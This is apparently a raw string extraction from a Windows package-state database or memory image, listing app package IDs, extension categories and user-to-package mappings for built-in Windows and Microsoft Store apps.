MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!PackageMetadata https://www.microsoft.com Package\2c\71 PackageAndPackageRelativeApplicationId\2c^PackageMetadata OobeHost MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!OobeHost OobeHostApp.exe OobeHostApp.App Package\2c\72 PackageAndPackageRelativeApplicationId\2c^OobeHost Global.WindowsOobeAppHost MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!Global.WindowsOobeAppHost http://microsoft.com Package\2c\73 PackageAndPackageRelativeApplicationId\2c^Global.WindowsOobeAppHost WindowsOobeAppHost MicrosoftWindows.Client.OOBE_cw5n1h2txyewy!WindowsOobeAppHost http://microsoft.com Package\2c\74 PackageAndPackageRelativeApplicationId\2c^WindowsOobeAppHost PackageMetadata MicrosoftWindows.Client.Photon_cw5n1h2txyewy!PackageMetadata https://www.microsoft.com Package\7f\95 PackageAndPackageRelativeApplicationId\7f^App Package\2d\75 PackageAndPackageRelativeApplicationId\2d^PackageMetadata Global.ExperienceExtensions MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.ExperienceExtensions https://microsoft.com Package\2d\76 PackageAndPackageRelativeApplicationId\2d^Global.ExperienceExtensions Global.WsxPackManager MicrosoftWindows.Client.Photon_cw5n1h2txyewy!Global.WsxPackManager \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\LocalState\start2.bin \Device\HarddiskVolume3\Program Files\WindowsApps\Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe\SharedUtilities.Stub.BackgroundTasks.dll:WofCompressedData ng Cookies LOG1 705.cat \Device\HarddiskVolume3\Windows\System32\taskhostw.exe e\AppData\Local WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU MPSSVC.dll Sessions\1\AppContainerNamedObjects\S-1-15-2-283421221-3183566570-1718213290-751554359-3541592344-2312209569-3374928651 StickyNotesStub.exe Microsoft.Notes.Application.App Package\68\8d PackageAndPackageRelativeApplicationId\68^App Package\73\91 PackageAndPackageRelativeApplicationId\73^PAD.Console Microsoft.RawImageExtension_8wekyb3d8bbwe!App Package\78\92 PackageAndPackageRelativeApplicationId\78^App Microsoft.StorePurchaseApp_8wekyb3d8bbwe!App StoreExperienceHost.exe PurchaseApp.App Package\f1\c9 PackageAndPackageRelativeApplicationId\f1^SecHealthUI Todo.exe Microsoft.Todos_8wekyb3d8bbwe! Package\b5\a7 PackageAndPackageRelativeApplicationId\b5^Microsoft.XboxIdentityProvider Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe!App SpeechToTextOverlay64-Retail.exe SpeechToTextOverlay.App Package\b9\a8 PackageAndPackageRelativeApplicationId\b9^App Microsoft.YourPhone_8wekyb3d8bbwe!App PhoneExperienceHost.exe Windows.FullTrustApplication Package\bd\a9 PackageAndPackageRelativeApplicationId\bd^App Microsoft.ZuneMusic Microsoft.ZuneMusic_8wekyb3d8bbwe!Microsoft.ZuneMusic Microsoft.Media.Player.exe Microsoft.Entertainment.Music.App Package\c1\aa PackageAndPackageRelativeApplicationId\c1^Microsoft.ZuneMusic MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App Microsoft.RemoteAssistance.QuickAssist\QuickAssist.exe Windows.FullTrustApplication Package\c5\ab PackageAndPackageRelativeApplicationId\c5^App SettingsUXHostApp MicrosoftWindows.CrossDevice_cw5n1h2txyewy!SettingsUXHostApp CrossDeviceSettingsHost.exe Windows.FullTrustApplication Package\cb\b2 PackageAndPackageRelativeApplicationId\cb^SettingsUXHostApp MSTeamsRemoteModuleContainer MSTeams_8wekyb3d8bbwe!MSTeamsRemoteModuleContainer ms-teams.exe Windows.PartialTrustApplication Package\cf\b4 PackageAndPackageRelativeApplicationId\cf^MSTeamsRemoteModuleContainer MSTeams MSTeams_8wekyb3d8bbwe!MSTeams ms-teams.exe Windows.FullTrustApplication Package\cf\b5 PackageAndPackageRelativeApplicationId\cf^MSTeams MSTeams.Update MSTeams_8wekyb3d8bbwe!MSTeams.Update ms-teamsupdate.exe Windows.FullTrustApplication Package\cf\b6 PackageAndPackageRelativeApplicationId\cf^MSTeams.Update msteamsautostarter MSTeams_8wekyb3d8bbwe!msteamsautostarter msteams_autostarter.exe Windows.FullTrustApplication Package\cf\b7 PackageAndPackageRelativeApplicationId\cf^msteamsautostarter Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe!App msedge_proxy.exe Package\d0\b8 PackageAndPackageRelativeApplicationId\d0^App Microsoft.OutlookforWindows olk.exe Microsoft.OutlookForWindows_8wekyb3d8bbwe!Microsoft.OutlookforWindows Windows.FullTrustApplication Package\d1\b9 PackageAndPackageRelativeApplicationId\d1^Microsoft.OutlookforWindows Microsoft.WindowsNotepad_8wekyb3d8bbwe!App $(env:USERPROFILE) Notepad\Notepad.exe Windows.FullTrustApplication Package\d6\ba PackageAndPackageRelativeApplicationId\d6^App Microsoft.Paint_8wekyb3d8bbwe!App $(env:USERPROFILE) PaintApp\mspaint.exe Windows.FullTrustApplication Package\d9\bb PackageAndPackageRelativeApplicationId\d9^App PackageMetadata MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!PackageMetadata https://www.microsoft.com Package\dc\bc PackageAndPackageRelativeApplicationId\dc^PackageMetadata Widgets MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Widgets Dashboard\Widgets.exe Windows.FullTrustApplication Package\dc\bd PackageAndPackageRelativeApplicationId\dc^Widgets Global.WidgetBoard MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetBoard WidgetBoard.exe Windows.FullTrustApplication Package\dc\be PackageAndPackageRelativeApplicationId\dc^Global.WidgetBoard Global.WidgetDataModel MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetDataModel http://microsoft.com 1h2txyewy\Settings\settings.dat Package\dc\bf PackageAndPackageRelativeApplicationId\dc^Global.WidgetDataModel Global.WidgetPicker MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetPicker http://microsoft.com Package\dc\c0 PackageAndPackageRelativeApplicationId\dc^Global.WidgetPicker Global.WidgetViewWinUI3 MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!Global.WidgetViewWinUI3 http://microsoft.com Package\dc\c1 PackageAndPackageRelativeApplicationId\dc^Global.WidgetViewWinUI3 MicrosoftStart Microsoft.StartExperiencesApp_8wekyb3d8bbwe!MicrosoftStart MicrosoftStartFeedProvider\MicrosoftStartFeedProvider.exe Windows.FullTrustApplication Package\e5\c3 PackageAndPackageRelativeApplicationId\e5^MicrosoftStart Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe!App WidgetService\WidgetService.exe Windows.FullTrustApplication Package\e8\c4 PackageAndPackageRelativeApplicationId\e8^App Microsoft.ScreenSketch_8wekyb3d8bbwe!App SnippingTool\SnippingTool.exe Windows.FullTrustApplication Package\ec\c5 PackageAndPackageRelativeApplicationId\ec^App Microsoft.WindowsStore_8wekyb3d8bbwe!App WinStore.App User\1\36 UserAndPackage\1^4 User\1\3a UserAndPackage\1^8 User\1\37 UserAndPackage\1^5 User\1\38 UserAndPackage\1^6 User\1\39 UserAndPackage\1^7 User\1\3b UserAndPackage\1^d User\1\3c UserAndPackage\1^9 User\1\3d UserAndPackage\1^a User\1\44 UserAndPackage\1^12 User\1\3e UserAndPackage\1^b User\1\3f UserAndPackage\1^c User\1\40 UserAndPackage\1^e User\1\41 UserAndPackage\1^f User\1\42 UserAndPackage\1^10 WinStore.App.exe Package\ef\c6 PackageAndPackageRelativeApplicationId\ef^App StoreDesktopExtension Microsoft.WindowsStore_8wekyb3d8bbwe!StoreDesktopExtension StoreDesktopExtension.exe Windows.FullTrustApplication Package\ef\c7 PackageAndPackageRelativeApplicationId\ef^StoreDesktopExtension StoreCLI store.exe Microsoft.WindowsStore_8wekyb3d8bbwe!StoreCLI Windows.FullTrustApplication Package\ef\c8 PackageAndPackageRelativeApplicationId\ef^StoreCLI SecHealthUI Microsoft.SecHealthUI_8wekyb3d8bbwe!SecHealthUI SecHealthUI.exe SecHealthUIAppShell.App User\1\33 UserAndPackage\1^1 User\1\34 UserAndPackage\1^2 User\1\35 UserAndPackage\1^3 User\1\43 UserAndPackage\1^11 User\1\4d UserAndPackage\1^1c User\1\45 UserAndPackage\1^13 User\1\46 UserAndPackage\1^14 User\1\47 UserAndPackage\1^16 User\1\48 UserAndPackage\1^17 User\1\49 UserAndPackage\1^18 User\1\4a UserAndPackage\1^19 User\1\4b UserAndPackage\1^1a User\1\4c UserAndPackage\1^1b User\1\5c UserAndPackage\1^2b User\1\4e UserAndPackage\1^1d User\1\4f UserAndPackage\1^1e User\1\50 UserAndPackage\1^1f User\1\51 UserAndPackage\1^20 User\1\52 UserAndPackage\1^21 User\1\53 UserAndPackage\1^22 User\1\54 UserAndPackage\1^23 User\1\55 UserAndPackage\1^24 User\1\56 UserAndPackage\1^25 User\1\57 UserAndPackage\1^26 User\1\58 UserAndPackage\1^27 User\1\59 UserAndPackage\1^28 User\1\5a UserAndPackage\1^29 User\1\c1 UserAndPackage\1^91 User\1\5b UserAndPackage\1^2a User\1\89 UserAndPackage\1^59 User\1\95 UserAndPackage\1^65 User\1\96 UserAndPackage\1^66 User\1\9a UserAndPackage\1^6a User\1\a5 UserAndPackage\1^75 User\1\a6 UserAndPackage\1^76 User\1\b3 UserAndPackage\1^83 User\1\c5 UserAndPackage\1^95 User\1\5d UserAndPackage\1^2c User\1\5e UserAndPackage\1^2d User\1\5f UserAndPackage\1^2e User\1\60 UserAndPackage\1^30 User\1\61 UserAndPackage\1^31 User\1\62 UserAndPackage\1^32 User\1\6d UserAndPackage\1^3d User\1\76 UserAndPackage\1^46 User\1\7b UserAndPackage\1^4b User\1\7e UserAndPackage\1^4e User\1\85 UserAndPackage\1^55 User\1\bd UserAndPackage\1^8d User\3\1a3 UserAndPackage\3^f User\3\1a4 UserAndPackage\3^10 User\1\c8 UserAndPackage\1^98 User\1\cd UserAndPackage\1^9d User\1\d1 UserAndPackage\1^a1 User\1\d8 UserAndPackage\1^a8 User\1\d9 UserAndPackage\1^a9 User\1\e2 UserAndPackage\1^b2 User\1\e6 UserAndPackage\1^b6 User\1\e7 UserAndPackage\1^b7 User\1\eb UserAndPackage\1^bb User\1\ef UserAndPackage\1^bf User\1\f3 UserAndPackage\1^c3 User\1\f7 UserAndPackage\1^c7 User\1\fd UserAndPackage\1^cd User\2\18e UserAndPackage\2^38 User\2\190 UserAndPackage\2^39 User\3\1a7 UserAndPackage\3^13 User\3\1a8 UserAndPackage\3^14 User\3\1a9 UserAndPackage\3^16 User\3\1aa UserAndPackage\3^17 User\3\1ab UserAndPackage\3^18 User\3\1ac UserAndPackage\3^19 User\3\1ad UserAndPackage\3^1a User\3\1ae UserAndPackage\3^1b User\3\1bd UserAndPackage\3^2a User\3\1af UserAndPackage\3^1c User\3\1b0 UserAndPackage\3^1d User\3\1b1 UserAndPackage\3^1e User\3\1b2 UserAndPackage\3^1f User\3\1b3 UserAndPackage\3^20 User\3\1b4 UserAndPackage\3^21 User\3\1b5 UserAndPackage\3^22 User\3\1b6 UserAndPackage\3^23 User\3\1b7 UserAndPackage\3^24 User\3\1b8 UserAndPackage\3^25 User\3\1b9 UserAndPackage\3^26 User\3\1ba UserAndPackage\3^27 User\3\1bb UserAndPackage\3^28 User\3\1bc UserAndPackage\3^29 User\3\235 UserAndPackage\3^ad User\3\1be UserAndPackage\3^2b User\3\1bf UserAndPackage\3^2c User\3\254 UserAndPackage\3^cf User\3\255 UserAndPackage\3^ca User\3\256 UserAndPackage\3^cb User\3\257 UserAndPackage\3^cc User\3\258 UserAndPackage\3^c4 User\3\259 UserAndPackage\3^c5 User\3\25a UserAndPackage\3^c6 User\3\25b UserAndPackage\3^bc User\3\25c UserAndPackage\3^bd User\3\25d UserAndPackage\3^be User\3\25e UserAndPackage\3^b8 User\3\25f UserAndPackage\3^b9 User\3\261 UserAndPackage\3^ae User\3\28f UserAndPackage\3^4f User\3\290 UserAndPackage\3^48 User\3\262 UserAndPackage\3^af User\3\263 UserAndPackage\3^a6 User\3\264 UserAndPackage\3^a7 User\3\265 UserAndPackage\3^9e User\3\266 UserAndPackage\3^9f User\3\267 UserAndPackage\3^a0 User\3\268 UserAndPackage\3^9a User\3\269 UserAndPackage\3^9b User\3\26a UserAndPackage\3^9c User\3\26b UserAndPackage\3^96 User\3\26c UserAndPackage\3^97 User\3\26d UserAndPackage\3^99 User\3\26e UserAndPackage\3^8e User\3\26f UserAndPackage\3^8f User\3\270 UserAndPackage\3^90 User\3\271 UserAndPackage\3^8a User\3\272 UserAndPackage\3^8b User\3\273 UserAndPackage\3^8c User\3\274 UserAndPackage\3^88 User\3\275 UserAndPackage\3^89 User\3\276 UserAndPackage\3^86 User\3\277 UserAndPackage\3^87 User\3\278 UserAndPackage\3^72 User\3\279 UserAndPackage\3^73 User\3\27a UserAndPackage\3^74 User\3\27b UserAndPackage\3^d1 User\3\27c UserAndPackage\3^6b User\3\27d UserAndPackage\3^6c User\3\27e UserAndPackage\3^67 User\3\27f UserAndPackage\3^68 User\3\280 UserAndPackage\3^69 User\3\28d UserAndPackage\3^4c User\3\28e UserAndPackage\3^4d User\3\2dd UserAndPackage\3^ec User\3\2de UserAndPackage\3^ed User\3\2e1 UserAndPackage\3^f1 User\3\2e3 UserAndPackage\3^dc windows.packageExtension Category\windows.packageExtension\10 Package\16\10 PackageAndCategory\16^windows.packageExtension\10 windows.packageExtension Category\windows.packageExtension\12 Package\17\12 PackageAndCategory\17^windows.packageExtension\12 windows.deploymentExtensionHandler Category\windows.deploymentExtensionHandler\43 Package\20\43 PackageAndCategory\20^windows.deploymentExtensionHandler\43 windows.deploymentExtensionHandler Category\windows.deploymentExtensionHandler\68 Package\21\68 PackageAndCategory\21^windows.deploymentExtensionHandler\68 windows.packageExtension Category\windows.packageExtension\72 Package\23\72 PackageAndCategory\23^windows.packageExtension\72 windows.packageExtension Category\windows.packageExtension\75 Package\23\75 PackageAndCategory\23^windows.packageExtension\75 windows.packageExtension Category\windows.packageExtension\77 Package\24\77 PackageAndCategory\24^windows.packageExtension\77 windows.packageExtension Category\windows.packageExtension\79 Package\25\79 PackageAndCategory\25^windows.packageExtension\79 windows.packageExtension Category\windows.packageExtension\7c Package\25\7c PackageAndCategory\25^windows.packageExtension\7c windows.packageExtension Category\windows.packageExtension\81 Package\26\81 PackageAndCategory\26^windows.packageExtension\81 windows.packageExtension Category\windows.packageExtension\8c Package\27\8c PackageAndCategory\27^windows.packageExtension\8c windows.packageExtension Category\windows.packageExtension\8e Package\28\8e PackageAndCategory\28^windows.packageExtension\8e windows.comInterface Category\windows.comInterface\91 Package\28\91 PackageAndCategory\28^windows.comInterface\91 windows.packageExtension Category\windows.packageExtension\93 Package\28\93 PackageAndCategory\28^windows.packageExtension\93 windows.packageExtension Category\windows.packageExtension\95 Package\28\95 PackageAndCategory\28^windows.packageExtension\95 windows.packageExtension Category\windows.packageExtension\97 Package\28\97 PackageAndCategory\28^windows.packageExtension\97 windows.packageExtension Category\windows.packageExtension\99 Package\28\99 PackageAndCategory\28^windows.packageExtension\99 windows.packageExtension windows.packageExtension Category\windows.packageExtension\9b Package\28\9b PackageAndCategory\28^windows.packageExtension\9b windows.packageExtension Category\windows.packageExtension\9d Package\28\9d PackageAndCategory\28^windows.packageExtension\9d windows.packageExtension Category\windows.packageExtension\9e Package\28\9e PackageAndCategory\28^windows.packageExtension\9e windows.packageExtension Category\windows.packageExtension\9f Package\28\9f PackageAndCategory\28^windows.packageExtension\9f windows.packageExtension Category\windows.packageExtension\a1 Package\28\a1 PackageAndCategory\28^windows.packageExtension\a1 windows.packageExtension Category\windows.packageExtension\a3 Package\28\a3 PackageAndCategory\28^windows.packageExtension\a3 windows.packageExtension Category\windows.packageExtension\ae Package\28\ae PackageAndCategory\28^windows.packageExtension\ae windows.packageExtension Category\windows.packageExtension\b0 Package\28\b0 PackageAndCategory\28^windows.packageExtension\b0 windows.packageExtension Category\windows.packageExtension\b3 Package\28\b3 PackageAndCategory\28^windows.packageExtension\b3 windows.packageExtension Category\windows.packageExtension\b4 Package\28\b4 PackageAndCategory\28^windows.packageExtension\b4 windows.packageExtension Category\windows.packageExtension\b6 Package\28\b6 PackageAndCategory\28^windows.packageExtension\b6 windows.packageExtension Category\windows.packageExtension\bd Package\28\bd PackageAndCategory\28^windows.packageExtension\bd windows.packageExtension Category\windows.packageExtension\bf Package\28\bf PackageAndCategory\28^windows.packageExtension\bf windows.packageExtension Category\windows.packageExtension\c4 Package\28\c4 PackageAndCategory\28^windows.packageExtension\c4 windows.packageExtension Category\windows.packageExtension\c7 Package\28\c7 PackageAndCategory\28^windows.packageExtension\c7 windows.packageExtension Category\windows.packageExtension\c9 Package\28\c9 PackageAndCategory\28^windows.packageExtension\c9 windows.packageExtension Category\windows.packageExtension\ce Package\28\ce PackageAndCategory\28^windows.packageExtension\ce windows.packageExtension Category\windows.packageExtension\d0 Package\28\d0 PackageAndCategory\28^windows.packageExtension\d0 windows.packageExtension Category\windows.packageExtension\d3 Package\28\d3 PackageAndCategory\28^windows.packageExtension\d3 windows.packageExtension Category\windows.packageExtension\d5 Package\28\d5 PackageAndCategory\28^windows.packageExtension\d5 windows.firewallRules Category\windows.firewallRules\d6 Package\28\d6 PackageAndCategory\28^windows.firewallRules\d6 windows.packageExtension Category\windows.packageExtension\d8 Package\28\d8 PackageAndCategory\28^windows.packageExtension\d8 windows.packageExtension Category\windows.packageExtension\da Package\28\da PackageAndCategory\28^windows.packageExtension\da windows.packageExtension Category\windows.packageExtension\dc Package\28\dc PackageAndCategory\28^windows.packageExtension\dc windows.packageExtension Category\windows.packageExtension\de Package\29\de PackageAndCategory\29^windows.packageExtension\de windows.comInterface Category\windows.comInterface\df Package\29\df PackageAndCategory\29^windows.comInterface\df windows.packageExtension Category\windows.packageExtension\e2 Package\29\e2 PackageAndCategory\29^windows.packageExtension\e2 windows.packageExtension Category\windows.packageExtension\e4 Package\29\e4 PackageAndCategory\29^windows.packageExtension\e4 windows.packageExtension Category\windows.packageExtension\e6 Package\29\e6 PackageAndCategory\29^windows.packageExtension\e6 Category\windows.packageExtension\1de Package\dc\1de PackageAndCategory\dc^windows.packageExtension\1de windows.packageExtension windows.packageExtension Category\windows.packageExtension\e8 Package\29\e8 PackageAndCategory\29^windows.packageExtension\e8 windows.packageExtension Category\windows.packageExtension\ea Package\2a\ea PackageAndCategory\2a^windows.packageExtension\ea windows.packageExtension Category\windows.packageExtension\ec Package\2a\ec PackageAndCategory\2a^windows.packageExtension\ec windows.packageExtension Category\windows.packageExtension\f1 Package\2a\f1 PackageAndCategory\2a^windows.packageExtension\f1 windows.packageExtension Category\windows.packageExtension\f3 Package\2a\f3 PackageAndCategory\2a^windows.packageExtension\f3 windows.packageExtension Category\windows.packageExtension\f5 Package\2a\f5 PackageAndCategory\2a^windows.packageExtension\f5 windows.packageExtension Category\windows.packageExtension\f7 Package\2a\f7 PackageAndCategory\2a^windows.packageExtension\f7 windows.packageExtension \Device\HarddiskVolume3\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\c07dbfc3c6b4ad434eee98ecd8287f5b\System.Configuration.ni.dll.aux WdBoot.sys Category\windows.packageExtension\f9 Package\2a\f9 PackageAndCategory\2a^windows.packageExtension\f9 windows.packageExtension Category\windows.packageExtension\fb Package\2a\fb PackageAndCategory\2a^windows.packageExtension\fb windows.packageExtension Category\windows.packageExtension\fd Package\2a\fd PackageAndCategory\2a^windows.packageExtension\fd windows.packageExtension Category\windows.packageExtension\ff Package\2a\ff PackageAndCategory\2a^windows.packageExtension\ff windows.packageExtension Category\windows.packageExtension\101 Package\2a\101 PackageAndCategory\2a^windows.packageExtension\101 windows.packageExtension Category\windows.packageExtension\103 Package\2a\103 PackageAndCategory\2a^windows.packageExtension\103 windows.packageExtension Category\windows.packageExtension\106 Package\2a\106 PackageAndCategory\2a^windows.packageExtension\106 windows.packageExtension Category\windows.packageExtension\108 Package\2a\108 PackageAndCategory\2a^windows.packageExtension\108 Category\windows.packageExtension\10a Package\2a\10a PackageAndCategory\2a^windows.packageExtension\10a windows.packageExtension Category\windows.packageExtension\10d Package\2a\10d PackageAndCategory\2a^windows.packageExtension\10d windows.packageExtension Category\windows.packageExtension\10f Package\2b\10f PackageAndCategory\2b^windows.packageExtension\10f windows.firewallRules Category\windows.firewallRules\112 Package\2c\112 PackageAndCategory\2c^windows.firewallRules\112 windows.packageExtension Category\windows.packageExtension\116 Package\2c\116 PackageAndCategory\2c^windows.packageExtension\116 windows.deploymentExtensionHandler Category\windows.deploymentExtensionHandler\149 Package\37\149 PackageAndCategory\37^windows.deploymentExtensionHandler\149 windows.publisherCacheFolders Category\windows.publisherCacheFolders\155 Package\64\155 PackageAndCategory\64^windows.publisherCacheFolders\155 windows.publisherCacheFolders Category\windows.publisherCacheFolders\163 Package\7f\163 PackageAndCategory\7f^windows.publisherCacheFolders\163 windows.publisherCacheFolders Category\windows.publisherCacheFolders\16a Package\8f\16a PackageAndCategory\8f^windows.publisherCacheFolders\16a windows.publisherCacheFolders Category\windows.publisherCacheFolders\175 Package\93\175 PackageAndCategory\93^windows.publisherCacheFolders\175 windows.sharedFonts Category\windows.sharedFonts\18b Package\ad\18b PackageAndCategory\ad^windows.sharedFonts\18b windows.firewallRules Category\windows.firewallRules\1b1 Package\cf\1b1 PackageAndCategory\cf^windows.firewallRules\1b1 windows.firewallRules Category\windows.firewallRules\1b2 Package\cf\1b2 PackageAndCategory\cf^windows.firewallRules\1b2 windows.publisherCacheFolders Category\windows.publisherCacheFolders\1b3 Package\cf\1b3 PackageAndCategory\cf^windows.publisherCacheFolders\1b3 windows.hostRuntime Category\windows.hostRuntime\1b4 Package\d0\1b4 PackageAndCategory\d0^windows.hostRuntime\1b4 windows.deploymentExtensionHandler Category\windows.deploymentExtensionHandler\1d0 Package\d4\1d0 PackageAndCategory\d4^windows.deploymentExtensionHandler\1d0 windows.classicAppCompatKeys Category\windows.classicAppCompatKeys\1d2 Package\d9\1d2 PackageAndCategory\d9^windows.classicAppCompatKeys\1d2 windows.classicAppCompatKeys Category\windows.classicAppCompatKeys\1d3 Package\d9\1d3 PackageAndCategory\d9^windows.classicAppCompatKeys\1d3 windows.packageExtension Category\windows.packageExtension\1dc Package\dc\1dc PackageAndCategory\dc^windows.packageExtension\1dc windows.packageExtension Category\windows.packageExtension\1e3 Package\dc\1e3 PackageAndCategory\dc^windows.packageExtension\1e3 windows.deploymentExtensionHandler Category\windows.deploymentExtensionHandler\1f7 Package\dd\1f7 PackageAndCategory\dd^windows.deploymentExtensionHandler\1f7 windows.deploymentExtensionHandler Category\windows.deploymentExtensionHandler\210 Package\de\210 PackageAndCategory\de^windows.deploymentExtensionHandler\210 windows.deploymentExtensionHandler Category\windows.deploymentExtensionHandler\223 Package\df\223 PackageAndCategory\df^windows.deploymentExtensionHandler\223 windows.deploymentExtensionHandler Category\windows.deploymentExtensionHandler\236 Package\e0\236 PackageAndCategory\e0^windows.deploymentExtensionHandler\236 windows.deploymentExtensionHandler Category\windows.deploymentExtensionHandler\249 Package\e1\249 PackageAndCategory\e1^windows.deploymentExtensionHandler\249 windows.deploymentExtensionHandler Category\windows.deploymentExtensionHandler\25f Package\e6\25f PackageAndCategory\e6^windows.deploymentExtensionHandler\25f windows.publisherCacheFolders Category\windows.publisherCacheFolders\269 Package\ef\269 PackageAndCategory\ef^windows.publisherCacheFolders\269 windows.deploymentExtensionHandler Category\windows.deploymentExtensionHandler\280 Package\f0\280 PackageAndCategory\f0^windows.deploymentExtensionHandler\280 windows.internal.filePickerExperience Application\1\1 ApplicationAndCategory\1^windows.internal.filePickerExperience\1 Category\windows.internal.filePickerExperience\1 windows.fileOpenPicker Application\2\2 ApplicationAndCategory\2^windows.fileOpenPicker\2 Category\windows.fileOpenPicker\2 windows.fileSavePicker Application\2\3 ApplicationAndCategory\2^windows.fileSavePicker\3 Category\windows.fileSavePicker\3 windows.fileTypeAssociation Application\2\4 ApplicationAndCategory\2^windows.fileTypeAssociation\4 Category\windows.fileTypeAssociation\4 windows.webAccountProvider Application\5\5 ApplicationAndCategory\5^windows.webAccountProvider\5 Category\windows.webAccountProvider\5 windows.appService Application\5\6 ApplicationAndCategory\5^windows.appService\6 Category\windows.appService\6 windows.protocol Application\5\7 ApplicationAndCategory\5^windows.protocol\7 Category\windows.protocol\7 windows.appExtensionHost @Category windows.appExtensionHost "AppExtensionHost Name #text com.microsoft.sticker.extension Application\7\8 ApplicationAndCategory\7^windows.appExtensionHost\8 Category\windows.appExtensionHost\8 windows.mobileMultiScreenProperties windows.protocol Application\8\9 ApplicationAndCategory\8^windows.mobileMultiScreenProperties\9 Category\windows.mobileMultiScreenProperties\9 Application\a\a ApplicationAndCategory\a^windows.protocol\a Category\windows.protocol\a windows.lockScreen Application\b\b ApplicationAndCategory\b^windows.lockScreen\b Category\windows.lockScreen\b windows.webAccountProvider windows.appExtension Application\c\c ApplicationAndCategory\c^windows.appExtension\c Category\windows.appExtension\c windows.protocol Application\10\d ApplicationAndCategory\10^windows.protocol\d Category\windows.protocol\d windows.lockScreen Application\11\e ApplicationAndCategory\11^windows.lockScreen\e Category\windows.lockScreen\e windows.appExtensionHost @Category windows.appExtensionHost "AppExtensionHost Name #text com.microsoft.windows.extensionpackage Application\13\f ApplicationAndCategory\13^windows.appExtensionHost\f Category\windows.appExtensionHost\f windows.protocol Application\13\10 ApplicationAndCategory\13^windows.protocol\10 Category\windows.protocol\10 windows.protocol Application\13\11 ApplicationAndCategory\13^windows.protocol\11 Category\windows.protocol\11 windows.backgroundTasks Application\13\12 ApplicationAndCategory\13^windows.webAccountProvider\12 Category\windows.webAccountProvider\12 windows.aboveLockScreen Application\13\13 ApplicationAndCategory\13^windows.aboveLockScreen\13 Category\windows.aboveLockScreen\13 windows.internal.componentUI Application\13\14 ApplicationAndCategory\13^windows.internal.componentUI\14 Category\windows.internal.componentUI\14 windows.backgroundTasks Application\14\15 ApplicationAndCategory\14^windows.backgroundTasks\15 Category\windows.backgroundTasks\15 windows.backgroundTasks Application\14\16 ApplicationAndCategory\14^windows.backgroundTasks\16 Category\windows.backgroundTasks\16 windows.backgroundTasks Application\14\17 ApplicationAndCategory\14^windows.backgroundTasks\17 Category\windows.backgroundTasks\17 windows.backgroundTasks Application\14\18 ApplicationAndCategory\14^windows.backgroundTasks\18 Category\windows.backgroundTasks\18 windows.backgroundTasks Application\14\19 ApplicationAndCategory\14^windows.backgroundTasks\19 Category\windows.backgroundTasks\19 windows.backgroundTasks Application\14\1a ApplicationAndCategory\14^windows.backgroundTasks\1a Category\windows.backgroundTasks\1a windows.backgroundTasks Application\14\1b ApplicationAndCategory\14^windows.backgroundTasks\1b Category\windows.backgroundTasks\1b windows.backgroundTasks Application\14\1c ApplicationAndCategory\14^windows.backgroundTasks\1c Category\windows.backgroundTasks\1c windows.backgroundTasks Application\14\1d ApplicationAndCategory\14^windows.backgroundTasks\1d Category\windows.backgroundTasks\1d windows.backgroundTasks Application\14\1e ApplicationAndCategory\14^windows.backgroundTasks\1e Category\windows.backgroundTasks\1e windows.backgroundTasks Application\14\1f ApplicationAndCategory\14^windows.backgroundTasks\1f Category\windows.backgroundTasks\1f windows.backgroundTasks Application\14\20 ApplicationAndCategory\14^windows.backgroundTasks\20 Category\windows.backgroundTasks\20 windows.backgroundTasks Application\14\21 ApplicationAndCategory\14^windows.backgroundTasks\21 Category\windows.backgroundTasks\21 windows.backgroundTasks Application\14\22 ApplicationAndCategory\14^windows.backgroundTasks\22 Category\windows.backgroundTasks\22 windows.backgroundTasks Application\14\23 ApplicationAndCategory\14^windows.backgroundTasks\23 Category\windows.backgroundTasks\23 windows.backgroundTasks Application\14\24 ApplicationAndCategory\14^windows.backgroundTasks\24 Category\windows.backgroundTasks\24 windows.backgroundTasks Application\14\25 ApplicationAndCategory\14^windows.backgroundTasks\25 Category\windows.backgroundTasks\25 windows.backgroundTasks Application\14\26 ApplicationAndCategory\14^windows.backgroundTasks\26 Category\windows.backgroundTasks\26 windows.backgroundTasks Application\14\27 ApplicationAndCategory\14^windows.backgroundTasks\27 Category\windows.backgroundTasks\27 windows.backgroundTasks Application\14\28 ApplicationAndCategory\14^windows.backgroundTasks\28 Category\windows.backgroundTasks\28 windows.appService Application\14\29 ApplicationAndCategory\14^windows.backgroundTasks\29 Category\windows.backgroundTasks\29 windows.preInstalledConfigTask Application\14\2a ApplicationAndCategory\14^windows.preInstalledConfigTask\2a Category\windows.preInstalledConfigTask\2a windows.appService Application\14\2b ApplicationAndCategory\14^windows.appService\2b Category\windows.appService\2b windows.appService Application\14\2c ApplicationAndCategory\14^windows.appService\2c Category\windows.appService\2c windows.protocol Application\16\2d ApplicationAndCategory\16^windows.protocol\2d Category\windows.protocol\2d windows.appExtension Application\16\2e ApplicationAndCategory\16^windows.appExtension\2e Category\windows.appExtension\2e windows.appExtension Application\16\2f ApplicationAndCategory\16^windows.appExtension\2f Category\windows.appExtension\2f windows.protocol Application\17\30 ApplicationAndCategory\17^windows.protocol\30 Category\windows.protocol\30 windows.appExtension Application\17\31 ApplicationAndCategory\17^windows.appExtension\31 Category\windows.appExtension\31 windows.appExtension Application\17\32 ApplicationAndCategory\17^windows.appExtension\32 Category\windows.appExtension\32 windows.protocol Application\18\33 ApplicationAndCategory\18^windows.protocol\33 Category\windows.protocol\33 windows.internal.componentUI Application\19\34 ApplicationAndCategory\19^windows.internal.componentUI\34 